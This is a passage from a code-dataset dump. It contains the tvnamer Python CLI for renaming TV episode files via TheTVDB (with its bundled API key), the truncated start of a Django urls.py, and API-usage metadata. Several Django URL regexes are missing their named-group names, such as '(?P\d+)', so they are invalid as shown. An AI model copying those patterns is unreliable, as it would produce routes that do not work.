"usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 133, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 133, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 135, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 137, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 137, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 139, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 139, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 143, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 144, "usage_type": "call"}]} +{"seq_id": "42271397255", "text": "#!/usr/bin/env python\n\n\"\"\"Main tvnamer utility functionality\n\"\"\"\n\nimport os\nimport sys\nimport logging\nimport warnings\n\ntry:\n import readline\nexcept ImportError:\n pass\n\nimport json\n\nimport tvdb_api\nfrom typing import List, Union, Optional\n\nfrom tvnamer import cliarg_parser, __version__\nfrom tvnamer.config_defaults import defaults\nfrom tvnamer.config import Config\nfrom .files import FileFinder, FileParser, Renamer, _apply_replacements_input\nfrom .utils import (\n warn,\n format_episode_numbers,\n make_valid_filename,\n)\nfrom tvnamer.data import (\n BaseInfo,\n EpisodeInfo,\n DatedEpisodeInfo,\n NoSeasonEpisodeInfo,\n)\n\nfrom tvnamer.tvnamer_exceptions import (\n ShowNotFound,\n SeasonNotFound,\n EpisodeNotFound,\n EpisodeNameNotFound,\n UserAbort,\n InvalidPath,\n NoValidFilesFoundError,\n SkipBehaviourAbort,\n InvalidFilename,\n DataRetrievalError,\n)\n\n\nLOG = logging.getLogger(__name__)\n\n\n# Key for use in tvnamer only - other keys can easily be registered at https://thetvdb.com/api-information\nTVNAMER_API_KEY = \"fb51f9b848ffac9750bada89ecba0225\"\n\n\ndef get_move_destination(episode):\n # type: (BaseInfo) -> str\n \"\"\"Constructs the location to move/copy the file\n \"\"\"\n\n # TODO: Write functional test to ensure this valid'ifying works\n def wrap_validfname(fname):\n # type: (str) -> str\n \"\"\"Wrap the make_valid_filename function as it's called twice\n and this is slightly long..\n \"\"\"\n if Config[\"move_files_lowercase_destination\"]:\n fname = fname.lower()\n return make_valid_filename(\n fname,\n windows_safe=Config[\"windows_safe_filenames\"],\n custom_blacklist=Config[\"custom_filename_character_blacklist\"],\n replace_with=Config[\"replace_invalid_characters_with\"],\n )\n\n # Calls make_valid_filename on series name, as it must valid for a filename\n if isinstance(episode, DatedEpisodeInfo):\n dest_dir = Config[\"move_files_destination_date\"] % {\n \"seriesname\": make_valid_filename(episode.seriesname),\n \"year\": episode.episodenumbers[0].year,\n \"month\": episode.episodenumbers[0].month,\n \"day\": episode.episodenumbers[0].day,\n \"originalfilename\": episode.originalfilename,\n }\n elif isinstance(episode, NoSeasonEpisodeInfo):\n dest_dir = Config[\"move_files_destination\"] % {\n \"seriesname\": wrap_validfname(episode.seriesname),\n \"episodenumbers\": wrap_validfname(\n format_episode_numbers(episode.episodenumbers)\n ),\n \"originalfilename\": episode.originalfilename,\n }\n elif isinstance(episode, EpisodeInfo):\n dest_dir = Config[\"move_files_destination\"] % {\n \"seriesname\": wrap_validfname(episode.seriesname),\n \"seasonnumber\": episode.seasonnumber,\n \"episodenumbers\": wrap_validfname(\n format_episode_numbers(episode.episodenumbers)\n ),\n \"originalfilename\": episode.originalfilename,\n }\n else:\n raise RuntimeError(\"Unhandled episode subtype of %s\" % type(episode))\n\n return dest_dir\n\n\ndef do_rename_file(cnamer, new_name):\n # type: (Renamer, str) -> None\n \"\"\"Renames the file. cnamer should be Renamer instance,\n new_name should be string containing new filename.\n \"\"\"\n try:\n cnamer.new_path(\n new_fullpath=new_name,\n force=Config[\"overwrite_destination_on_rename\"],\n leave_symlink=Config[\"leave_symlink\"],\n )\n except OSError as e:\n if Config[\"skip_behaviour\"] == \"exit\":\n warn(\"Exiting due to error: %s\" % e)\n raise SkipBehaviourAbort()\n warn(\"Skipping file due to error: %s\" % e)\n\n\ndef do_move_file(cnamer, dest_dir=None, dest_filepath=None, get_path_preview=False):\n # type: (Renamer, Optional[str], Optional[str], bool) -> Optional[str]\n \"\"\"Moves file to dest_dir, or to dest_filepath\n \"\"\"\n\n if (dest_dir, dest_filepath).count(None) != 1:\n raise ValueError(\"Specify only dest_dir or dest_filepath\")\n\n if not Config[\"move_files_enable\"]:\n raise ValueError(\"move_files feature is disabled but do_move_file was called\")\n\n if Config[\"move_files_destination\"] is None:\n raise ValueError(\n \"Config value for move_files_destination cannot be None if move_files_enabled is True\"\n )\n\n try:\n return cnamer.new_path(\n new_path=dest_dir,\n new_fullpath=dest_filepath,\n always_move=Config[\"always_move\"],\n leave_symlink=Config[\"leave_symlink\"],\n get_path_preview=get_path_preview,\n force=Config[\"overwrite_destination_on_move\"],\n )\n\n except OSError as e:\n if Config[\"skip_behaviour\"] == \"exit\":\n warn(\"Exiting due to error: %s\" % e)\n raise SkipBehaviourAbort()\n warn(\"Skipping file due to error: %s\" % e)\n return None\n\n\ndef confirm(question, options, default=\"y\"):\n # type: (str, List[str], str) -> str\n \"\"\"Takes a question (string), list of options and a default value (used\n when user simply hits enter).\n Asks until valid option is entered.\n \"\"\"\n # Highlight default option with [ ]\n options_chunks = []\n for x in options:\n if x == default:\n x = \"[%s]\" % x\n if x != \"\":\n options_chunks.append(x)\n options_str = \"/\".join(options_chunks)\n\n while True:\n print(question)\n print(\"(%s) \" % (options_str), end=\"\")\n try:\n ans = input().strip()\n except KeyboardInterrupt as errormsg:\n print(\"\\n\", errormsg)\n raise UserAbort(errormsg)\n\n if ans in options:\n return ans\n elif ans == \"\":\n return default\n\n\ndef process_file(tvdb_instance, episode):\n # type: (tvdb_api.Tvdb, BaseInfo) -> None\n \"\"\"Gets episode name, prompts user for input\n \"\"\"\n print(\"#\" * 20)\n print(\"# Processing file: %s\" % episode.fullfilename)\n\n if len(Config[\"input_filename_replacements\"]) > 0:\n replaced = _apply_replacements_input(episode.fullfilename)\n print(\"# With custom replacements: %s\" % (replaced))\n\n # Use force_name option. Done after input_filename_replacements so\n # it can be used to skip the replacements easily\n if Config[\"force_name\"] is not None:\n episode.seriesname = Config[\"force_name\"]\n\n print(\"# Detected series: %s (%s)\" % (episode.seriesname, episode.number_string()))\n\n try:\n episode.populate_from_tvdb(\n tvdb_instance,\n force_name=Config[\"force_name\"],\n series_id=Config[\"series_id\"],\n )\n except (DataRetrievalError, ShowNotFound) as errormsg:\n if Config[\"always_rename\"] and Config[\"skip_file_on_error\"] is True:\n if Config[\"skip_behaviour\"] == \"exit\":\n warn(\"Exiting due to error: %s\" % errormsg)\n raise SkipBehaviourAbort()\n warn(\"Skipping file due to error: %s\" % errormsg)\n return\n else:\n warn(\"%s\" % (errormsg))\n except (SeasonNotFound, EpisodeNotFound, EpisodeNameNotFound) as errormsg:\n # Show was found, so use corrected series name\n if Config[\"always_rename\"] and Config[\"skip_file_on_error\"]:\n if Config[\"skip_behaviour\"] == \"exit\":\n warn(\"Exiting due to error: %s\" % errormsg)\n raise SkipBehaviourAbort()\n warn(\"Skipping file due to error: %s\" % errormsg)\n return\n\n warn(\"%s\" % (errormsg))\n\n cnamer = Renamer(episode.fullpath)\n\n should_rename = False\n\n if Config[\"move_files_only\"]:\n\n new_name = episode.fullfilename\n should_rename = True\n\n else:\n new_name = episode.generate_filename()\n if new_name == episode.fullfilename:\n print(\"#\" * 20)\n print(\"Existing filename is correct: %s\" % episode.fullfilename)\n print(\"#\" * 20)\n\n should_rename = True\n\n else:\n print(\"#\" * 20)\n print(\"Old filename: %s\" % episode.fullfilename)\n\n if len(Config[\"output_filename_replacements\"]) > 0:\n # Show filename without replacements\n print(\n \"Before custom output replacements: %s\"\n % (episode.generate_filename(preview_orig_filename=True))\n )\n\n print(\"New filename: %s\" % new_name)\n\n if Config[\"dry_run\"]:\n print(\"%s will be renamed to %s\" % (episode.fullfilename, new_name))\n if Config[\"move_files_enable\"]:\n print(\n \"%s will be moved to %s\"\n % (new_name, get_move_destination(episode))\n )\n return\n elif Config[\"always_rename\"]:\n do_rename_file(cnamer, new_name)\n if Config[\"move_files_enable\"]:\n if Config[\"move_files_destination_is_filepath\"]:\n do_move_file(\n cnamer=cnamer, dest_filepath=get_move_destination(episode)\n )\n else:\n do_move_file(cnamer=cnamer, dest_dir=get_move_destination(episode))\n return\n\n ans = confirm(\"Rename?\", options=[\"y\", \"n\", \"a\", \"q\"], default=\"y\")\n\n if ans == \"a\":\n print(\"Always renaming\")\n Config[\"always_rename\"] = True\n should_rename = True\n elif ans == \"q\":\n print(\"Quitting\")\n raise UserAbort(\"User exited with q\")\n elif ans == \"y\":\n print(\"Renaming\")\n should_rename = True\n elif ans == \"n\":\n print(\"Skipping\")\n else:\n print(\"Invalid input, skipping\")\n\n if should_rename:\n do_rename_file(cnamer, new_name)\n\n if should_rename and Config[\"move_files_enable\"]:\n new_path = get_move_destination(episode)\n if Config[\"dry_run\"]:\n print(\"%s will be moved to %s\" % (new_name, get_move_destination(episode)))\n return\n\n if Config[\"move_files_destination_is_filepath\"]:\n do_move_file(cnamer=cnamer, dest_filepath=new_path, get_path_preview=True)\n else:\n do_move_file(cnamer=cnamer, dest_dir=new_path, get_path_preview=True)\n\n if not Config[\"batch\"] and Config[\"move_files_confirmation\"]:\n ans = confirm(\"Move file?\", options=[\"y\", \"n\", \"q\"], default=\"y\")\n else:\n ans = \"y\"\n\n if ans == \"y\":\n print(\"Moving file\")\n do_move_file(cnamer, new_path)\n elif ans == \"q\":\n print(\"Quitting\")\n raise UserAbort(\"user exited with q\")\n\n\ndef find_files(paths):\n # type: (List[str]) -> List[str]\n \"\"\"Takes an array of paths, returns all files found\n \"\"\"\n valid_files = []\n\n for cfile in paths:\n cur = FileFinder(\n cfile,\n with_extension=Config[\"valid_extensions\"],\n filename_blacklist=Config[\"filename_blacklist\"],\n recursive=Config[\"recursive\"],\n )\n\n try:\n valid_files.extend(cur.find_files())\n except InvalidPath:\n warn(\"Invalid path: %s\" % cfile)\n\n if len(valid_files) == 0:\n raise NoValidFilesFoundError()\n\n # Remove duplicate files (all paths from FileFinder are absolute)\n valid_files = list(set(valid_files))\n\n return valid_files\n\n\ndef tvnamer(paths):\n # type: (List[str]) -> None\n \"\"\"Main tvnamer function, takes an array of paths, does stuff.\n \"\"\"\n\n print(\"#\" * 20)\n print(\"# Starting tvnamer\")\n\n episodes_found = []\n\n for cfile in find_files(paths):\n parser = FileParser(cfile)\n try:\n episode = parser.parse()\n except InvalidFilename as e:\n warn(\"Invalid filename: %s\" % e)\n else:\n if (\n episode.seriesname is None\n and Config[\"force_name\"] is None\n and Config[\"series_id\"] is None\n ):\n warn(\n \"Parsed filename did not contain series name (and --name or --series-id not specified), skipping: %s\"\n % cfile\n )\n\n else:\n episodes_found.append(episode)\n\n if len(episodes_found) == 0:\n raise NoValidFilesFoundError()\n\n print(\n \"# Found %d episode\" % len(episodes_found) + (\"s\" * (len(episodes_found) > 1))\n )\n\n # Sort episodes by series name, season and episode number\n episodes_found.sort(key=lambda x: x.sortable_info())\n\n # episode sort order\n if Config[\"order\"] == \"dvd\":\n dvdorder = True\n else:\n dvdorder = False\n\n if Config[\"tvdb_api_key\"] is not None:\n LOG.debug(\"Using custom API key from config\")\n api_key = Config[\"tvdb_api_key\"]\n else:\n LOG.debug(\"Using tvnamer default API key\")\n api_key = TVNAMER_API_KEY\n\n if os.getenv(\"TVNAMER_TEST_MODE\", \"0\") == \"1\":\n from .test_cache import get_test_cache_session\n cache = get_test_cache_session()\n else:\n cache = True\n\n tvdb_instance = tvdb_api.Tvdb(\n interactive=not Config[\"select_first\"],\n search_all_languages=Config[\"search_all_languages\"],\n language=Config[\"language\"],\n dvdorder=dvdorder,\n cache=cache,\n apikey=api_key,\n )\n\n for episode in episodes_found:\n process_file(tvdb_instance, episode)\n print(\"\")\n\n print(\"#\" * 20)\n print(\"# Done\")\n\n\ndef main():\n # type: () -> None\n \"\"\"Parses command line arguments, displays errors from tvnamer in terminal\n \"\"\"\n opter = cliarg_parser.get_cli_parser(defaults)\n\n opts, args = opter.parse_args()\n\n if opts.show_version:\n print(\"tvnamer version: %s\" % (__version__,))\n print(\"tvdb_api version: %s\" % (tvdb_api.__version__,))\n print(\"python version: %s\" % (sys.version,))\n sys.exit(0)\n\n if opts.verbose:\n logging.basicConfig(\n level=logging.DEBUG,\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n )\n else:\n logging.basicConfig()\n\n # If a config is specified, load it, update the defaults using the loaded\n # values, then reparse the options with the updated defaults.\n default_configuration = os.path.expanduser(\"~/.config/tvnamer/tvnamer.json\")\n old_default_configuration = os.path.expanduser(\"~/.tvnamer.json\")\n\n if opts.loadconfig is not None:\n # Command line overrides loading ~/.config/tvnamer/tvnamer.json\n config_to_load = opts.loadconfig\n elif os.path.isfile(default_configuration):\n # No --config arg, so load default config if it exists\n config_to_load = default_configuration\n elif os.path.isfile(old_default_configuration):\n # No --config arg and neow defualt config so load old version if it exist\n config_to_load = old_default_configuration\n else:\n # No arg, nothing at default config location, don't load anything\n config_to_load = None\n\n if config_to_load is not None:\n LOG.info(\"Loading config: %s\" % (config_to_load))\n if os.path.isfile(old_default_configuration):\n LOG.warning(\"WARNING: you have a config at deprecated ~/.tvnamer.json location.\")\n LOG.warning(\"Config must be moved to new location: ~/.config/tvnamer/tvnamer.json\")\n\n try:\n loaded_config = json.load(open(os.path.expanduser(config_to_load)))\n except ValueError as e:\n LOG.error(\"Error loading config: %s\" % e)\n opter.exit(1)\n else:\n # Config loaded, update optparser's defaults and reparse\n defaults.update(loaded_config)\n opter = cliarg_parser.get_cli_parser(defaults)\n opts, args = opter.parse_args()\n\n # Save config argument\n if opts.saveconfig is not None:\n LOG.info(\"Saving config: %s\" % (opts.saveconfig))\n config_to_save = dict(opts.__dict__)\n del config_to_save[\"saveconfig\"]\n del config_to_save[\"loadconfig\"]\n del config_to_save[\"showconfig\"]\n json.dump(\n config_to_save,\n open(os.path.expanduser(opts.saveconfig), \"w+\"),\n sort_keys=True,\n indent=4,\n )\n\n opter.exit(0)\n\n # Show config argument\n if opts.showconfig:\n print(json.dumps(opts.__dict__, sort_keys=True, indent=2))\n return\n\n # Process values\n if opts.batch:\n opts.select_first = True\n opts.always_rename = True\n\n # Update global config object\n Config.update(opts.__dict__)\n\n if Config[\"move_files_only\"] and not Config[\"move_files_enable\"]:\n opter.error(\n \"Parameter move_files_enable cannot be set to false while parameter move_only is set to true.\"\n )\n\n if Config[\"titlecase_filename\"] and Config[\"lowercase_filename\"]:\n warnings.warn(\n \"Setting 'lowercase_filename' clobbers 'titlecase_filename' option\"\n )\n\n if len(args) == 0:\n opter.error(\"No filenames or directories supplied\")\n\n try:\n tvnamer(paths=sorted(args))\n except NoValidFilesFoundError:\n opter.error(\"No valid files were supplied\")\n except UserAbort as errormsg:\n opter.error(errormsg)\n except SkipBehaviourAbort as errormsg:\n opter.error(errormsg)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "dbr/tvnamer", "sub_path": "tvnamer/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 17600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 894, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 51, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 69, "usage_type": "name"}, {"api_name": "utils.make_valid_filename", "line_number": 71, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 73, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 74, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 75, "usage_type": "name"}, {"api_name": "tvnamer.data.DatedEpisodeInfo", "line_number": 79, "usage_type": "argument"}, {"api_name": "tvnamer.config.Config", "line_number": 80, "usage_type": "name"}, {"api_name": "utils.make_valid_filename", "line_number": 81, "usage_type": "call"}, {"api_name": "tvnamer.data.NoSeasonEpisodeInfo", "line_number": 87, "usage_type": "argument"}, {"api_name": "tvnamer.config.Config", "line_number": 88, "usage_type": "name"}, {"api_name": "utils.format_episode_numbers", "line_number": 91, "usage_type": "call"}, {"api_name": "tvnamer.data.EpisodeInfo", "line_number": 95, "usage_type": "argument"}, {"api_name": "tvnamer.config.Config", "line_number": 96, "usage_type": "name"}, {"api_name": "utils.format_episode_numbers", "line_number": 100, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 118, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 119, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 122, "usage_type": "name"}, {"api_name": "utils.warn", "line_number": 123, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.SkipBehaviourAbort", "line_number": 124, "usage_type": "call"}, {"api_name": "utils.warn", "line_number": 125, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 136, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 139, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 148, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 149, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 151, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 155, "usage_type": "name"}, {"api_name": "utils.warn", "line_number": 156, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.SkipBehaviourAbort", "line_number": 157, "usage_type": "call"}, {"api_name": "utils.warn", "line_number": 158, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.UserAbort", "line_number": 184, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 199, "usage_type": "name"}, {"api_name": "files._apply_replacements_input", "line_number": 200, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 205, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 206, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 213, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 214, "usage_type": "name"}, {"api_name": "tvnamer.tvnamer_exceptions.DataRetrievalError", "line_number": 216, "usage_type": "name"}, {"api_name": "tvnamer.tvnamer_exceptions.ShowNotFound", "line_number": 216, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 217, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 218, "usage_type": "name"}, {"api_name": "utils.warn", "line_number": 219, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.SkipBehaviourAbort", "line_number": 220, "usage_type": "call"}, {"api_name": "utils.warn", "line_number": 221, "usage_type": "call"}, {"api_name": "utils.warn", "line_number": 224, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.SeasonNotFound", "line_number": 225, "usage_type": "name"}, {"api_name": "tvnamer.tvnamer_exceptions.EpisodeNotFound", "line_number": 225, "usage_type": "name"}, {"api_name": "tvnamer.tvnamer_exceptions.EpisodeNameNotFound", "line_number": 225, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 227, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 228, "usage_type": "name"}, {"api_name": "utils.warn", "line_number": 229, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.SkipBehaviourAbort", "line_number": 230, "usage_type": "call"}, {"api_name": "utils.warn", "line_number": 231, "usage_type": "call"}, {"api_name": "utils.warn", "line_number": 234, "usage_type": "call"}, {"api_name": "files.Renamer", "line_number": 236, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 240, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 258, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 267, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 269, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 275, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 277, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 278, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 290, "usage_type": "name"}, {"api_name": "tvnamer.tvnamer_exceptions.UserAbort", "line_number": 294, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 306, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 308, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 312, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 317, "usage_type": "name"}, {"api_name": "tvnamer.tvnamer_exceptions.UserAbort", "line_number": 327, "usage_type": "call"}, {"api_name": "files.FileFinder", "line_number": 337, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 339, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 340, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 341, "usage_type": "name"}, {"api_name": "tvnamer.tvnamer_exceptions.InvalidPath", "line_number": 346, "usage_type": "name"}, {"api_name": "utils.warn", "line_number": 347, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.NoValidFilesFoundError", "line_number": 350, "usage_type": "call"}, {"api_name": "files.FileParser", "line_number": 369, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.InvalidFilename", "line_number": 372, "usage_type": "name"}, {"api_name": "utils.warn", "line_number": 373, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 377, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 378, "usage_type": "name"}, {"api_name": "utils.warn", "line_number": 380, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.NoValidFilesFoundError", "line_number": 389, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 399, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 404, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 406, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 411, "usage_type": "call"}, {"api_name": "test_cache.get_test_cache_session", "line_number": 413, "usage_type": "call"}, {"api_name": "tvdb_api.Tvdb", "line_number": 417, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 418, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 419, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 420, "usage_type": "name"}, {"api_name": "tvnamer.cliarg_parser.get_cli_parser", "line_number": 438, "usage_type": "call"}, {"api_name": "tvnamer.config_defaults.defaults", "line_number": 438, "usage_type": "argument"}, {"api_name": "tvnamer.cliarg_parser", "line_number": 438, "usage_type": "name"}, {"api_name": "tvnamer.__version__", "line_number": 443, "usage_type": "name"}, {"api_name": "tvdb_api.__version__", "line_number": 444, "usage_type": "attribute"}, {"api_name": "sys.version", "line_number": 445, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 446, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 449, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 450, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 454, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 458, "usage_type": "call"}, {"api_name": "os.path", "line_number": 458, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 459, "usage_type": "call"}, {"api_name": "os.path", "line_number": 459, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 464, "usage_type": "call"}, {"api_name": "os.path", "line_number": 464, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 467, "usage_type": "call"}, {"api_name": "os.path", "line_number": 467, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 476, "usage_type": "call"}, {"api_name": "os.path", "line_number": 476, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 481, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 481, "usage_type": "call"}, {"api_name": "os.path", "line_number": 481, "usage_type": "attribute"}, {"api_name": "tvnamer.config_defaults.defaults.update", "line_number": 487, "usage_type": "call"}, {"api_name": "tvnamer.config_defaults.defaults", "line_number": 487, "usage_type": "name"}, {"api_name": "tvnamer.cliarg_parser.get_cli_parser", "line_number": 488, "usage_type": "call"}, {"api_name": "tvnamer.config_defaults.defaults", "line_number": 488, "usage_type": "argument"}, {"api_name": "tvnamer.cliarg_parser", "line_number": 488, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 498, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 500, "usage_type": "call"}, {"api_name": "os.path", "line_number": 500, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 509, "usage_type": "call"}, {"api_name": "tvnamer.config.Config.update", "line_number": 518, "usage_type": "call"}, {"api_name": "tvnamer.config.Config", "line_number": 518, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 520, "usage_type": "name"}, {"api_name": "tvnamer.config.Config", "line_number": 525, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 526, "usage_type": "call"}, {"api_name": "tvnamer.tvnamer_exceptions.NoValidFilesFoundError", "line_number": 535, "usage_type": "name"}, {"api_name": "tvnamer.tvnamer_exceptions.UserAbort", "line_number": 537, "usage_type": "name"}, {"api_name": "tvnamer.tvnamer_exceptions.SkipBehaviourAbort", "line_number": 539, "usage_type": "name"}]} +{"seq_id": "28965094174", "text": "from __future__ import unicode_literals\n\nfrom django.conf.urls import include, url\n\nfrom .views import block, activity, question, admin, general, quiz\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\n# from queue import base\n\nteaching_block_year_urls = [\n url(r'^edit/$', block.EditBlock.as_view(), name='block-edit'),\n url(r'^activity/all/$', block.BlockActivitiesView.as_view(), name='block-activities'),\n url(r'^download/$', block.DownloadView.as_view(), name=\"block-download\"),\n url(r'^admin/upload/confirm/$', block.ConfirmUploadForTeachingBlock.as_view(), name='block-activity-upload-confirm'),\n url(r'^admin/upload/submit/$', block.UploadForTeachingBlock.as_view(), name='block-activity-upload-submit'),\n url(r'^admin/upload/start/$', block.StartUploadForTeachingBlock.as_view(), name='block-activity-upload'),\n]\n\nspecific_block_admin_urls = [\n url(r'^period/new/$', block.CreateQuestionWritingPeriod.as_view(), name=\"block-admin-period-new\"),\n url(r'^period/(?P\\d+)/remove/$', block.DeleteQuestionWritingPeriod.as_view(), name=\"block-admin-period-remove\"),\n url(r'^period/(?P\\d+)/edit/$', block.EditQuestionWritingPeriod.as_view(), name=\"block-admin-period-edit\"),\n url(r'^period/(?P\\d+)/upload/start/$', block.StartUploadForWritingPeriod.as_view(), name=\"block-admin-period-upload\"),\n url(r'^period/(?P\\d+)/upload/confirm/$', block.ConfirmUploadForWritingPeriod.as_view(), name='block-admin-period-upload-confirm'),\n url(r'^period/(?P\\d+)/upload/submit/$', block.UploadForWritingPeriod.as_view(), name='block-admin-period-upload-submit'),\n]\n\nspecific_block_urls = [\n # url(r'^download/$', block.DownloadView.as_view(), name=\"block-download\"),\n url(r'^(?P\\d{4})/', include(teaching_block_year_urls)),\n url(r'^admin/$', admin.BlockAdminView.as_view(), name='block-admin'),\n url(r'^admin/year/create/$', block.NewBlockYear.as_view(), name='block-year-new'),\n url(r'^admin/(?P\\d{4})/', include(specific_block_admin_urls)),\n url(r'^admin/select/$', block.ChangeAdminYear.as_view(), name=\"block-admin-select\"),\n]\n\nblock_urls = [\n url(r'^new/$', block.NewBlock.as_view(), name='block-new'),\n url(r'^open/$', block.OpenBlocksView.as_view(), name='block-open-list'),\n url(r'^view/$', block.VisibleBlocksView.as_view(), name=\"block-visible-list\"),\n url(r'^(?P\\w{1,10})/', include(specific_block_urls)),\n]\n\nspecific_student_urls = [\n url(r'^$', admin.ViewStudent.as_view(), name='student-view'),\n]\n\nstudent_urls = [\n url(r'^$', admin.StudentLookup.as_view(), name='student-lookup'),\n url(r'^(?P[a-z\\d]+)/', include(specific_student_urls)),\n]\n\nadmin_urls = [\n url(r'^$', admin.AdminView.as_view(), name='admin'),\n url(r'^email/(?P[a-z\\d]{1,10})/(?P\\d{4})/$', general.EmailView.as_view(), name='email'),\n url(r'^dashboard/', general.DashboardAdminView.as_view(), name='dashboard-admin'),\n url(r'^settings/create/$', admin.CreateMissingSettingsView.as_view(), name='admin-settings-create'),\n url(r'^settings/(?P\\d+)/view/$', admin.SettingView.as_view(), name='admin-settings-view'),\n url(r'^settings/(?P\\d+)/edit/$', admin.EditSettingView.as_view(), name='admin-settings-edit'),\n url(r'^student/', include(student_urls)),\n]\n\ncomment_urls = [\n url(r'^new/$', question.AddComment.as_view(), name=\"comment-new\"),\n url(r'^reply/(?P\\d+)/$', question.AddComment.as_view(), name=\"comment-reply\"),\n]\n\nspecific_question_urls = [\n url(r'^$', question.ViewQuestion.as_view(), name='question-view'),\n url(r'^edit/$', question.UpdateQuestion.as_view(), name='question-edit'),\n url(r'^attributes/$', question.QuestionAttributes.as_view(), name='question-attributes'),\n url(r'^versions/$', question.ViewPreviousVersions.as_view(), name='question-versions'),\n url(r'^comment/', include(comment_urls)),\n]\n\nquestion_urls = [\n url(r'^new/$', question.NewQuestion.as_view(), name='question-new'),\n url(r'^(?P\\d+)/', include(specific_question_urls)),\n]\n\nspecific_activity_urls = [\n url(r'^$', activity.ViewActivity.as_view(), name=\"activity-view\"),\n url(r'^signup/$', activity.SignupView.as_view(), name=\"activity-signup\"),\n url(r'^unassign/$', activity.UnassignView.as_view(), name='activity-unassign'),\n url(r'^assign/$', activity.AssignStudent.as_view(), name=\"activity-assign\"),\n url(r'^previous/$', activity.AssignPreviousActivity.as_view(), 